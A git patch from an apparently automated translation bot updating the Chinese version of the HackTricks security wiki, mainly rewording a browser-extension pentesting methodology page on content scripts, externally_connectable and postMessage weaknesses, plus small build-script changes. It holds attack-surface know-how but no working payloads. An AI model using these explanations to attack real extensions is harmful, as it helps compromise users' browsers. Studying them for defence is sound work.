From 67e870b0780d1aa6b345369de20815e6d0c96626 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Fri, 3 Jan 2025 02:48:32 +0000
Subject: [PATCH] Translated ['.github/pull_request_template.md',
 'src/1911-pentesting-fox

---
 .github/pull_request_template.md              |   4 +-
 book.toml                                     |   1 +
 hacktricks-preprocessor.py                    |  20 +-
 .../README.md                                 |  90 ++++-----
 .../browext-clickjacking.md                   |   4 +-
 ...rowext-permissions-and-host_permissions.md |  22 +--
 .../browext-xss-example.md                    |   4 +-
 src/pentesting-web/cache-deception/README.md  |  28 +--
 .../cache-deception/cache-poisoning-to-dos.md |  10 +-
 .../cache-poisoning-via-url-discrepancies.md  |   8 +-
 .../README.md                                 |  70 +++----
 ...ypass-self-+-unsafe-inline-with-iframes.md |   2 +-
 .../README.md                                 |  26 +--
 src/pentesting-web/deserialization/README.md  |  82 ++++----
 ...er-gadgets-expandedwrapper-and-json.net.md |  16 +-
 ...ialization-objectinputstream-readobject.md |   2 +-
 .../exploiting-__viewstate-parameter.md       |  28 +--
 ...ava-dns-deserialization-and-gadgetprobe.md |  14 +-
 ...ava-transformers-to-rutime-exec-payload.md |   8 +-
 ...g-and-directory-interface-and-log4shell.md |  59 +++---
 .../README.md                                 |  10 +-
 .../client-side-prototype-pollution.md        |   6 +-
 .../express-prototype-pollution-gadgets.md    |   2 +-
 .../prototype-pollution-to-rce.md             |  22 +--
 .../php-deserialization-+-autoload-classes.md |  12 +-
 .../python-yaml-deserialization.md            |   2 +-
 .../deserialization/ruby-class-pollution.md   |   4 +-
 src/pentesting-web/file-inclusion/README.md   |  58 +++---
 ..._stream_prefer_studio-+-path-disclosure.md |   6 +-
 .../lfi2rce-via-eternal-waiting.md            |  14 +-
 .../file-inclusion/lfi2rce-via-php-filters.md |  19 +-
 .../file-inclusion/lfi2rce-via-phpinfo.md     |   6 +-
 .../lfi2rce-via-segmentation-fault.md         |   4 +-
 .../file-inclusion/phar-deserialization.md    |   4 +-
 .../via-php_session_upload_progress.md        |   8 +-
 src/pentesting-web/file-upload/README.md      |  37 ++--
 .../hacking-with-cookies/README.md            |  34 ++--
 .../hacking-with-cookies/cookie-bomb.md       |   2 +-
 .../hacking-with-cookies/cookie-tossing.md    |   4 +-
 .../http-connection-request-smuggling.md      |   2 +-
 .../http-request-smuggling/README.md          |  54 +++---
 .../http-response-smuggling-desync.md         |  40 ++--
 src/pentesting-web/iframe-traps.md            |   6 +-
 src/pentesting-web/ldap-injection.md          |  12 +-
 src/pentesting-web/login-bypass/README.md     |  16 +-
 .../login-bypass/sql-login-bypass.md          |   2 +-
 src/pentesting-web/nosql-injection.md         |   6 +-
 .../oauth-to-account-takeover.md              |  38 ++--
 src/pentesting-web/open-redirect.md           |   2 +-
 src/pentesting-web/orm-injection.md           |  16 +-
 src/pentesting-web/parameter-pollution.md     |   6 +-
 src/pentesting-web/phone-number-injections.md |   4 +-
 .../pocs-and-polygloths-cheatsheet/README.md  |   2 +-
 .../postmessage-vulnerabilities/README.md     |  12 +-
 ...blocking-main-page-to-steal-postmessage.md |  12 +-
 .../bypassing-sop-with-iframes-1.md           |  14 +-
 .../proxy-waf-protections-bypass.md           |  20 +-
 src/pentesting-web/race-condition.md          |  58 +++---
 src/pentesting-web/rate-limit-bypass.md       |   4 +-
 .../registration-vulnerabilities.md           |   6 +-
 ...ular-expression-denial-of-service-redos.md |   8 +-
 src/pentesting-web/reset-password.md          |  12 +-
 src/pentesting-web/reverse-tab-nabbing.md     |   4 +-
 src/pentesting-web/saml-attacks/README.md     |  18 +-
 .../saml-attacks/saml-basics.md               |  10 +-
 ...inclusion-edge-side-inclusion-injection.md |  26 +--
 src/pentesting-web/sql-injection/README.md    |  36 ++--
 .../sql-injection/ms-access-sql-injection.md  |   6 +-
 .../sql-injection/mssql-injection.md          |  14 +-
 .../sql-injection/mysql-injection/README.md   |   8 +-
 .../mysql-injection/mysql-ssrf.md             |   6 +-
 .../sql-injection/oracle-injection.md         |   2 +-
 .../postgresql-injection/README.md            |  12 +-
 .../big-binary-files-upload-postgresql.md     |   8 +-
 ...and-ntlm-chanllenge-response-disclosure.md |   8 +-
 .../pl-pgsql-password-bruteforce.md           |   6 +-
 .../rce-with-postgresql-extensions.md         |  22 +--
 .../rce-with-postgresql-languages.md          |  10 +-
 src/pentesting-web/sql-injection/sqlmap.md    |  32 ++--
 .../sql-injection/sqlmap/README.md            |  18 +-
 .../sqlmap/second-order-injection-sqlmap.md   |  10 +-
 .../README.md                                 |  22 +--
 .../cloud-ssrf.md                             |  22 +--
 .../url-format-bypass.md                      |  10 +-
 .../README.md                                 |  30 +--
 .../el-expression-language.md                 |  16 +-
 .../jinja2-ssti.md                            |  18 +-
 src/pentesting-web/timing-attacks.md          |   6 +-
 .../unicode-injection/README.md               |   4 +-
 .../unicode-normalization.md                  |  16 +-
 src/pentesting-web/uuid-insecurities.md       |  14 +-
 .../web-vulnerabilities-methodology.md        |   4 +-
 .../web-vulnerabilities-methodology/README.md |   6 +-
 src/pentesting-web/websocket-attacks.md       |  18 +-
 src/pentesting-web/xpath-injection.md         |   6 +-
 src/pentesting-web/xs-search.md               | 124 ++++++------
 src/pentesting-web/xs-search/README.md        | 178 +++++++++---------
 .../connection-pool-by-destination-example.md |   2 +-
 .../xs-search/connection-pool-example.md      |   8 +-
 .../xs-search/css-injection/README.md         |  60 +++---
 .../event-loop-blocking-+-lazy-images.md      |  10 +-
 .../performance.now-+-force-heavy-task.md     |   2 +-
 .../xs-search/performance.now-example.md      |   2 +-
 ...ble-stylesheet-language-transformations.md |   4 +-
 .../xss-cross-site-scripting/README.md        |  94 ++++-----
 .../abusing-service-workers.md                |   6 +-
 .../chrome-cache-to-xss.md                    |   4 +-
 .../debugging-client-side-js.md               |   2 +-
 .../dom-clobbering.md                         |  20 +-
 .../xss-cross-site-scripting/dom-invader.md   |  18 +-
 .../xss-cross-site-scripting/dom-xss.md       |  28 +--
 .../iframes-in-xss-and-csp.md                 |  24 +--
 .../xss-cross-site-scripting/js-hoisting.md   |   8 +-
 .../other-js-tricks.md                        |   8 +-
 .../server-side-xss-dynamic-pdf.md            |   8 +-
 .../xss-cross-site-scripting/sniff-leak.md    |   8 +-
 .../some-same-origin-method-execution.md      |   6 +-
 .../xss-in-markdown.md                        |   2 +-
 .../xssi-cross-site-script-inclusion.md       |   8 +-
 .../xxe-xee-xml-external-entity.md            |  58 +++---
 .../escaping-from-gui-applications/README.md  |  12 +-
 .../firmware-analysis/README.md               |  22 +--
 .../firmware-analysis/bootloader-testing.md   |  10 +-
 src/physical-attacks/physical-attacks.md      |   6 +-
 .../low-power-wide-area-network.md            |   2 +-
 .../pentesting-ble-bluetooth-low-energy.md    |   4 +-
 src/radio-hacking/pentesting-rfid.md          |  18 +-
 .../aw2exec-__malloc_hook.md                  |   2 +-
 .../arbitrary-write-2-exec/aw2exec-got-plt.md |  10 +-
 .../aws2exec-.dtors-and-.fini_array.md        |   4 +-
 .../README.md                                 |   4 +-
 .../aslr/README.md                            |  32 ++--
 .../aslr/ret2plt.md                           |   6 +-
 .../pie/README.md                             |  10 +-
 .../pie/bypassing-canary-and-pie.md           |  12 +-
 .../relro.md                                  |   4 +-
 .../stack-canaries/README.md                  |   4 +-
 .../bf-forked-stack-canaries.md               |  14 +-
 .../stack-canaries/print-stack-canary.md      |   4 +-
 .../linux-exploiting-basic-esp/elf-tricks.md  |  18 +-
 .../format-strings/README.md                  |  10 +-
 .../stack-overflow/README.md                  |  14 +-
 .../stack-overflow/pointer-redirecting.md     |   8 +-
 .../stack-overflow/ret2csu.md                 |   2 +-
 .../stack-overflow/ret2dlresolve.md           |  12 +-
 .../stack-overflow/ret2esp-ret2reg.md         |   8 +-
 .../stack-overflow/ret2lib/README.md          |  24 +--
 .../rop-leaking-libc-address/README.md        |  22 +--
 .../rop-leaking-libc-template.md              |   4 +-
 .../stack-overflow/ret2win.md                 |   8 +-
 .../rop-return-oriented-programing.md         |  20 +-
 .../stack-overflow/rop-syscall-execv.md       |  12 +-
 .../srop-sigreturn-oriented-programming.md    |   6 +-
 .../stack-pivoting-ebp2ret-ebp-chaining.md    |  54 +++---
 .../stack-overflow/stack-shellcode.md         |   8 +-
 src/reversing/common-api-used-in-malware.md   |  14 +-
 .../cryptographic-algorithms/README.md        |  14 +-
 .../unpacking-binaries.md                     |   5 +-
 .../reversing-tools-basic-methods/README.md   | 110 +++++------
 .../angr/README.md                            |  10 +-
 .../angr/angr-examples.md                     |  12 +-
 .../cheat-engine.md                           |  22 +--
 src/reversing/word-macros.md                  |   2 +-
 src/stego/esoteric-languages.md               |   4 +-
 src/stego/stego-tricks.md                     |  32 ++--
 src/todo/android-forensics.md                 |  10 +-
 src/todo/hardware-hacking/README.md           |  12 +-
 src/todo/hardware-hacking/i2c.md              |   6 +-
 src/todo/hardware-hacking/radio.md            |  10 +-
 .../hardware-hacking/side_channel_analysis.md |   2 +-
 src/todo/hardware-hacking/spi.md              |  10 +-
 src/todo/hardware-hacking/uart.md             |  28 +--
 .../README.md                                 |   4 +-
 .../modbus.md                                 |   4 +-
 src/todo/interesting-http.md                  |   2 +-
 src/todo/investment-terms.md                  |   6 +-
 .../0.-basic-llm-concepts.md                  |  14 +-
 .../1.-tokenizing.md                          |  14 +-
 .../3.-token-embeddings.md                    |  30 +--
 .../4.-attention-mechanisms.md                |  40 ++--
 .../5.-llm-architecture.md                    |  24 +--
 .../7.0.-lora-improvements-in-fine-tuning.md  |   2 +-
 ...7.2.-fine-tuning-to-follow-instructions.md |   4 +-
 .../llm-training-data-preparation/README.md   |   2 +-
 src/todo/misc.md                              |  10 +-
 src/todo/more-tools.md                        |  28 +--
 src/todo/online-platforms-with-api.md         |  16 +-
 src/todo/other-web-tricks.md                  |   4 +-
 src/todo/post-exploitation.md                 |   2 +-
 .../radio-hacking/fissure-the-rf-framework.md |  10 +-
 .../flipper-zero/fz-125khz-rfid.md            |  18 +-
 .../radio-hacking/flipper-zero/fz-ibutton.md  |  12 +-
 .../radio-hacking/flipper-zero/fz-infrared.md |   6 +-
 .../radio-hacking/flipper-zero/fz-sub-ghz.md  |   6 +-
 src/todo/radio-hacking/ibutton.md             |   2 +-
 src/todo/radio-hacking/infrared.md            |   6 +-
 .../pentesting-ble-bluetooth-low-energy.md    |  12 +-
 src/todo/radio-hacking/pentesting-rfid.md     |  30 +--
 src/todo/radio-hacking/proxmark-3.md          |   6 +-
 src/todo/radio-hacking/sub-ghz-rf.md          |  12 +-
 src/todo/rust-basics.md                       |   4 +-
 src/todo/test-llms.md                         |   4 +-
 src/welcome/about-the-author.md               |   2 +-
 src/welcome/hacktricks-values-and-faq.md      |  18 +-
 .../active-directory-methodology/README.md    | 128 ++++++++-----
 .../abusing-ad-mssql.md                       |  12 +-
 .../acl-persistence-abuse/README.md           |  12 +-
 .../shadow-credentials.md                     |   8 +-
 .../ad-certificates.md                        |   8 +-
 .../ad-certificates/README.md                 |  10 +-
 .../ad-certificates/account-persistence.md    |   8 +-
 .../ad-certificates/certificate-theft.md      |  26 +--
 .../ad-certificates/domain-escalation.md      |  88 ++++-----
 .../ad-certificates/domain-persistence.md     |  12 +-
 .../ad-information-in-printers.md             |   6 +-
 .../asreproast.md                             |   4 +-
 .../bloodhound.md                             |  12 +-
 .../constrained-delegation.md                 |  16 +-
 .../custom-ssp.md                             |   2 +-
 .../active-directory-methodology/dcshadow.md  |   4 +-
 .../active-directory-methodology/dcsync.md    |   4 +-
 .../diamond-ticket.md                         |   2 +-
 ...external-forest-domain-one-way-outbound.md |  12 +-
 .../external-forest-domain-oneway-inbound.md  |   4 +-
 .../golden-ticket.md                          |   6 +-
 .../kerberoast.md                             |  18 +-
 .../kerberos-double-hop-problem.md            |   6 +-
 .../active-directory-methodology/laps.md      |   2 +-
 .../over-pass-the-hash-pass-the-key.md        |   6 +-
 .../pass-the-ticket.md                        |  10 +-
 .../password-spraying.md                      |   7 +-
 .../printers-spooler-service-abuse.md         |  16 +-
 .../printnightmare.md                         |   2 +-
 .../privileged-groups-and-token-privileges.md |  18 +-
 .../rdp-sessions-abuse.md                     |   2 +-
 .../resource-based-constrained-delegation.md  |   4 +-
 .../sid-history-injection.md                  |  10 +-
 .../silver-ticket.md                          |   8 +-
 .../authentication-credentials-uac-and-efs.md |  18 +-
 .../README.md                                 |  20 +-
 .../uac-user-account-control.md               |  28 +--
 src/windows-hardening/av-bypass.md            |  52 ++---
 .../basic-cmd-for-pentesters.md               |   4 +-
 .../basic-powershell-for-pentesters/README.md |   6 +-
 .../powerview.md                              |   4 +-
 .../checklist-windows-privilege-escalation.md |  22 +--
 src/windows-hardening/cobalt-strike.md        | 144 +++++++-------
 .../lateral-movement/README.md                |   2 +-
 .../lateral-movement/dcom-exec.md             |  12 +-
 .../lateral-movement/psexec-and-winexec.md    |   6 +-
 .../lateral-movement/smbexec.md               |   2 +-
 .../lateral-movement/wmiexec.md               |  10 +-
 src/windows-hardening/ntlm/README.md          |  34 ++--
 src/windows-hardening/ntlm/atexec.md          |   2 +-
 .../ntlm/places-to-steal-ntlm-creds.md        |   4 +-
 .../ntlm/psexec-and-winexec.md                |   4 +-
 src/windows-hardening/ntlm/smbexec.md         |   4 +-
 src/windows-hardening/ntlm/wmiexec.md         |   8 +-
 .../stealing-credentials/README.md            |  16 +-
 .../credentials-mimikatz.md                   |  14 +-
 .../credentials-protections.md                |   8 +-
 .../README.md                                 |  98 +++++-----
 .../access-tokens.md                          |  10 +-
 .../acls-dacls-sacls-aces.md                  |  18 +-
 ...ectory-permission-over-service-registry.md |   4 +-
 .../com-hijacking.md                          |   2 +-
 .../create-msi-with-wix.md                    |   2 +-
 .../dll-hijacking.md                          |  20 +-
 .../dll-hijacking/README.md                   |  41 ++--
 ...ritable-sys-path-+dll-hijacking-privesc.md |  10 +-
 .../dpapi-extracting-passwords.md             |  12 +-
 ...igh-integrity-to-system-with-name-pipes.md |   4 +-
 .../integrity-levels.md                       |  14 +-
 .../juicypotato.md                            |  10 +-
 .../leaked-handle-exploitation.md             |  26 +--
 .../msi-wrapper.md                            |   4 +-
 .../privilege-escalation-abusing-tokens.md    |  28 +--
 .../README.md                                 |  28 +--
 ...vilege-escalation-with-autorun-binaries.md |  40 ++--
 .../roguepotato-and-printspoofer.md           |   2 +-
 .../sedebug-+-seimpersonate-copy-token.md     |   2 +-
 .../seimpersonate-from-high-to-system.md      |   2 +-
 .../uac-user-account-control.md               |  62 +++---
 theme/book.js                                 |  55 ++++++
 theme/css/chrome.css                          |  52 ++++-
 theme/index.hbs                               |  78 +++++---
 theme/sponsor.js                              |   2 -
 287 files changed, 2505 insertions(+), 2349 deletions(-)

diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md
index 4050fbac0..e33f4ea84 100644
--- a/.github/pull_request_template.md
+++ b/.github/pull_request_template.md
@@ -1,4 +1,4 @@
 ## 归属
-我们重视您的知识，并鼓励您分享内容。请确保您仅上传您拥有或已获得原作者分享权限的内容（在您添加的文本中或您正在修改的页面末尾添加对作者的引用，或两者都添加）。 您对知识产权的尊重为每个人营造了一个值得信赖和合法的分享环境。
+我们重视您的知识，并鼓励您分享内容。请确保您仅上传您拥有或已获得原作者分享权限的内容（在添加的文本中或您正在修改的页面末尾添加对作者的引用，或两者都添加）。 您对知识产权的尊重为每个人营造了一个值得信赖和合法的分享环境。
 
-感谢您为 HackTricks 的贡献！
+感谢您为 HackTricks 做出的贡献！
diff --git a/book.toml b/book.toml
index 55f8eeb4f..3d588387c 100644
--- a/book.toml
+++ b/book.toml
@@ -22,6 +22,7 @@ after = ["links"]
 
 [preprocessor.hacktricks]
 command = "python3 ./hacktricks-preprocessor.py"
+env = "prod"
 
 [output.html]
 additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py
index 37f549101..fedfdef99 100644
--- a/hacktricks-preprocessor.py
+++ b/hacktricks-preprocessor.py
@@ -30,14 +30,16 @@ def ref(matchobj):
     href =  matchobj.groups(0)[0].strip()
     title = href
     if href.startswith("http://") or href.startswith("https://"):
-        # pass
-        try:
-            raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
-            match = re.search('<title>(.*?)</title>', raw_html)
-            title = match.group(1) if match else href
-        except Exception as e:
-            logger.debug(f'Error opening URL {href}: {e}')
-            pass #nDont stop on broken link
+        if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
+            pass
+        else:
+            try:
+                raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
+                match = re.search('<title>(.*?)</title>', raw_html)
+                title = match.group(1) if match else href
+            except Exception as e:
+                logger.debug(f'Error opening URL {href}: {e}')
+                pass #nDont stop on broken link
     else:
         try:
             if href.endswith("/"):
@@ -90,7 +92,7 @@ if __name__ == '__main__':
     context, book = json.load(sys.stdin)
 
     logger.debug(f"Context: {context}")
-
+    logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
 
     for chapter in iterate_chapters(book['sections']):
         logger.debug(f"Chapter: {chapter['path']}")
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
index db50a5ccc..41576f722 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
@@ -91,22 +91,22 @@ document.body.appendChild(div)
 ```
 <figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
 
-当点击此按钮时，通过使用 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)，内容脚本向扩展页面发送消息。这是由于内容脚本在直接访问API方面的限制，`storage`是少数例外之一。对于超出这些例外的功能，消息被发送到扩展页面，内容脚本可以与之通信。
+当点击此按钮时，通过利用[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)，内容脚本向扩展页面发送消息。这是由于内容脚本在直接访问API方面的限制，`storage`是少数例外之一。对于超出这些例外的功能，消息被发送到扩展页面，内容脚本可以与之通信。
 
 > [!WARNING]
-> 根据浏览器的不同，内容脚本的能力可能会略有不同。对于基于Chromium的浏览器，能力列表可在 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities) 中找到，而对于Firefox，[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) 是主要来源。\
+> 根据浏览器的不同，内容脚本的能力可能会略有不同。对于基于Chromium的浏览器，能力列表可在[Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)中找到，而对于Firefox，[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)是主要来源。\
 > 还值得注意的是，内容脚本能够与后台脚本进行通信，使其能够执行操作并传递响应。
 
 要在Chrome中查看和调试内容脚本，可以通过选项 > 更多工具 > 开发者工具访问Chrome开发者工具菜单，或按Ctrl + Shift + I。
 
-当开发者工具显示后，点击**源**选项卡，然后点击**内容脚本**选项卡。这允许观察来自各种扩展的运行内容脚本，并设置断点以跟踪执行流程。
+当开发者工具显示后，点击**源标签**，然后点击**内容脚本**标签。这允许观察来自各种扩展的运行内容脚本，并设置断点以跟踪执行流程。
 
 ### 注入的内容脚本
 
 > [!TIP]
-> 请注意，**内容脚本不是强制性的**，因为也可以通过**`tabs.executeScript`** **动态** **注入**脚本并在网页中**以编程方式注入**。这实际上提供了更**细粒度的控制**。
+> 请注意，**内容脚本不是强制性的**，因为也可以**动态** **注入**脚本，并通过**`tabs.executeScript`**在网页中**程序化地注入**它们。这实际上提供了更**细粒度的控制**。
 
-要以编程方式注入内容脚本，扩展需要对要注入脚本的页面具有[主机权限](https://developer.chrome.com/docs/extensions/reference/permissions)。这些权限可以通过在扩展的清单中**请求**它们或通过[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)临时获取。
+要程序化地注入内容脚本，扩展需要对要注入脚本的页面具有[主机权限](https://developer.chrome.com/docs/extensions/reference/permissions)。这些权限可以通过在扩展的清单中**请求**它们或通过[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)临时获取。 
 
 #### 示例基于activeTab的扩展
 ```json:manifest.json
@@ -138,7 +138,7 @@ files: ["content-script.js"],
 })
 })
 ```
-- **在点击时注入一个函数**:
+- **点击时注入一个函数**:
 ```javascript
 //service-worker.js - Inject a function
 function injectedFunction() {
@@ -252,9 +252,9 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
 
 **`permissions`** 和 **`host_permissions`** 是 `manifest.json` 中的条目，指示 **浏览器扩展具有哪些权限**（存储、位置等）以及 **在哪些网页上**。
 
-由于浏览器扩展可能具有 **特权**，恶意扩展或被攻击的扩展可能允许攻击者 **以不同方式窃取敏感信息并监视用户**。
+由于浏览器扩展可能具有如此 **特权**，恶意扩展或被攻陷的扩展可能允许攻击者 **以不同方式窃取敏感信息并监视用户**。
 
-检查这些设置如何工作以及它们如何被滥用：
+检查这些设置如何工作以及它们如何可能被滥用：
 
 {{#ref}}
 browext-permissions-and-host_permissions.md
@@ -305,7 +305,7 @@ chrome-extension://<extension-id>/message.html
 不过，如果使用了 `manifest.json` 参数 **`use_dynamic_url`**，则该 **id 可能是动态的**。
 
 > [!TIP]
-> 请注意，即使此处提到某个页面，它也可能由于 **Content Security Policy** 而 **受到 ClickJacking 保护**。因此，在确认 ClickJacking 攻击是否可能之前，您还需要检查它（frame-ancestors 部分）。
+> 请注意，即使此处提到某个页面，它也可能由于 **内容安全策略** 而 **受到 ClickJacking 保护**。因此，在确认 ClickJacking 攻击是否可能之前，您还需要检查它（frame-ancestors 部分）。
 
 允许访问这些页面使这些页面 **可能容易受到 ClickJacking 攻击**：
 
@@ -319,15 +319,15 @@ browext-clickjacking.md
 > [!CAUTION]
 > 请注意，**`web_accessible_resources`** 中的页面和扩展的其他页面也能够 **联系后台脚本**。因此，如果这些页面中的一个容易受到 **XSS** 攻击，可能会导致更大的漏洞。
 >
-> 此外，请注意，您只能在 iframe 中打开 **`web_accessible_resources`** 中指示的页面，但从新标签页可以访问扩展中的任何页面，只需知道扩展 ID。因此，如果发现 XSS 利用相同参数，即使页面未在 **`web_accessible_resources`** 中配置，也可能被利用。
+> 此外，请注意，您只能在 iframe 中打开 **`web_accessible_resources`** 中指示的页面，但从新标签页可以访问扩展中的任何页面，只需知道扩展 ID。因此，如果发现 XSS 利用相同的参数，即使页面未在 **`web_accessible_resources`** 中配置，也可能被利用。
 
 ### `externally_connectable`
 
 根据 [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)，`"externally_connectable"` 清单属性声明 **哪些扩展和网页可以通过** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 和 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) 连接到您的扩展。
 
-- 如果在扩展的清单中 **未** 声明 **`externally_connectable`** 键，或者声明为 **`"ids": ["*"]`**，则 **所有扩展都可以连接，但没有网页可以连接**。
-- 如果指定了 **特定 ID**，如 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`，则 **只有这些应用程序** 可以连接。
-- 如果指定了 **matches**，则这些网页应用程序将能够连接：
+- 如果在扩展的清单中 **未声明 `externally_connectable`** 键，或者声明为 **`"ids": ["*"]`**，**所有扩展都可以连接，但没有网页可以连接**。
+- 如果 **指定了特定 ID**，如 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`，**只有这些应用程序** 可以连接。
+- 如果 **指定了匹配项**，这些网络应用程序将能够连接：
 ```json
 "matches": [
 "https://*.google.com/*",
@@ -335,24 +335,24 @@ browext-clickjacking.md
 ```
 - 如果指定为空：**`"externally_connectable": {}`**，则没有应用程序或网页能够连接。
 
-这里指示的**扩展和 URL**越少，**攻击面**就会越小。
+这里指示的**扩展和URL越少**，**攻击面就越小**。
 
 > [!CAUTION]
-> 如果网页在**`externally_connectable`**中被指示为**易受 XSS 或接管攻击**，攻击者将能够**直接向后台脚本发送消息**，完全绕过内容脚本及其 CSP。
+> 如果在**`externally_connectable`**中指示了**易受XSS或接管攻击的网页**，攻击者将能够**直接向后台脚本发送消息**，完全绕过内容脚本及其CSP。
 >
 > 因此，这是一个**非常强大的绕过**。
 >
-> 此外，如果客户端安装了一个恶意扩展，即使它不被允许与易受攻击的扩展通信，它也可能在一个允许的网页中注入**XSS 数据**，或滥用**`WebRequest`**或**`DeclarativeNetRequest`** API 来操纵目标域上的请求，改变页面对**JavaScript 文件**的请求。（请注意，目标页面上的 CSP 可能会阻止这些攻击）。这个想法来自[**这篇文章**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)。
+> 此外，如果客户端安装了一个恶意扩展，即使它不被允许与易受攻击的扩展通信，它也可能在一个允许的网页中注入**XSS数据**，或滥用**`WebRequest`**或**`DeclarativeNetRequest`** API来操纵目标域上的请求，改变页面对**JavaScript文件**的请求。（请注意，目标页面上的CSP可能会阻止这些攻击）。这个想法来自[**这篇文章**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)。
 
 ## 通信总结
 
 ### 扩展 <--> WebApp
 
-在内容脚本和网页之间，通常使用后续消息进行通信。因此，在网页应用程序中，您通常会找到对函数**`window.postMessage`**的调用，而在内容脚本中则有像**`window.addEventListener`**这样的监听器。然而，请注意，扩展也可以**通过发送 Post Message 与网页应用程序通信**（因此网页应该预期此情况），或者仅使网页加载一个新脚本。
+在内容脚本和网页之间，通常使用后续消息进行通信。因此，在网页应用程序中，您通常会找到对**`window.postMessage`**函数的调用，而在内容脚本中则有像**`window.addEventListener`**这样的监听器。然而，请注意，扩展也可以**通过发送Post Message与网页应用程序通信**（因此网页应该预期此情况），或者只是让网页加载一个新脚本。
 
 ### 在扩展内部
 
-通常使用函数**`chrome.runtime.sendMessage`**在扩展内部发送消息（通常由`background`脚本处理），为了接收和处理它，声明一个监听器调用**`chrome.runtime.onMessage.addListener`**。
+通常使用**`chrome.runtime.sendMessage`**在扩展内部发送消息（通常由`background`脚本处理），为了接收和处理它，声明一个监听器调用**`chrome.runtime.onMessage.addListener`**。
 
 也可以使用**`chrome.runtime.connect()`**来建立持久连接，而不是发送单个消息，可以用它来**发送**和**接收****消息**，如下例所示：
 
@@ -393,7 +393,7 @@ console.log("Content script received message from background script:", msg)
 
 ### 从允许的 `externally_connectable` 到扩展
 
-**在 `externally_connectable` 配置中允许的 Web 应用和外部浏览器扩展** 可以使用以下方式发送请求：
+**在 `externally_connectable` 配置中允许的** Web 应用和外部浏览器扩展可以使用以下方式发送请求：
 ```javascript
 chrome.runtime.sendMessage(extensionId, ...
 ```
@@ -452,13 +452,13 @@ false
 ```
 安全的 Post Message 通信应检查接收到的消息的真实性，这可以通过以下方式进行检查：
 
-- **`event.isTrusted`**：仅当事件是由用户操作触发时，此值为 True
-- 内容脚本可能仅在用户执行某些操作时才会期待消息
-- **origin domain**：可能仅允许白名单中的域名发送消息。
+- **`event.isTrusted`**：只有当事件是由用户操作触发时，这个值才为 True
+- 内容脚本可能只在用户执行某些操作时才期待接收到消息
+- **origin domain**：可能只允许白名单中的域名接收消息。
 - 如果使用正则表达式，请非常小心
 - **Source**：`received_message.source !== window` 可用于检查消息是否来自 **同一窗口**，即内容脚本正在监听的窗口。
 
-即使执行了上述检查，仍可能存在漏洞，因此请检查以下页面 **潜在的 Post Message 绕过**：
+即使执行了上述检查，仍然可能存在漏洞，因此请检查以下页面 **潜在的 Post Message 绕过**：
 
 {{#ref}}
 ../postmessage-vulnerabilities/
@@ -482,7 +482,7 @@ browext-xss-example.md
 browext-xss-example.md
 {{#endref}}
 
-## 内容脚本 **↔︎** 背景脚本通信
+## 内容脚本 **↔︎** 后台脚本通信
 
 内容脚本可以使用 [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **或** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) 发送 **一次性 JSON 可序列化** 消息。
 
@@ -496,7 +496,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
 console.log(response)
 })()
 ```
-从**扩展**（通常是**后台脚本**）发送请求。向选定标签页中的内容脚本发送消息的示例：
+从**扩展**（通常是**后台脚本**）发送请求。以下是如何向选定标签页中的内容脚本发送消息的示例：
 ```javascript
 // From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
 ;(async () => {
@@ -523,13 +523,13 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
 ```
 在突出显示的示例中，**`sendResponse()`** 是以同步方式执行的。要修改 `onMessage` 事件处理程序以实现 `sendResponse()` 的异步执行，必须加入 `return true;`。
 
-一个重要的考虑是，在多个页面设置为接收 `onMessage` 事件的情况下，**第一个执行 `sendResponse()` 的页面** 将是唯一能够有效传递响应的页面。对同一事件的任何后续响应将不被考虑。
+一个重要的考虑是，在多个页面设置为接收 `onMessage` 事件的情况下，**第一个执行 `sendResponse()`** 的页面将是唯一能够有效传递响应的页面。对同一事件的任何后续响应将不被考虑。
 
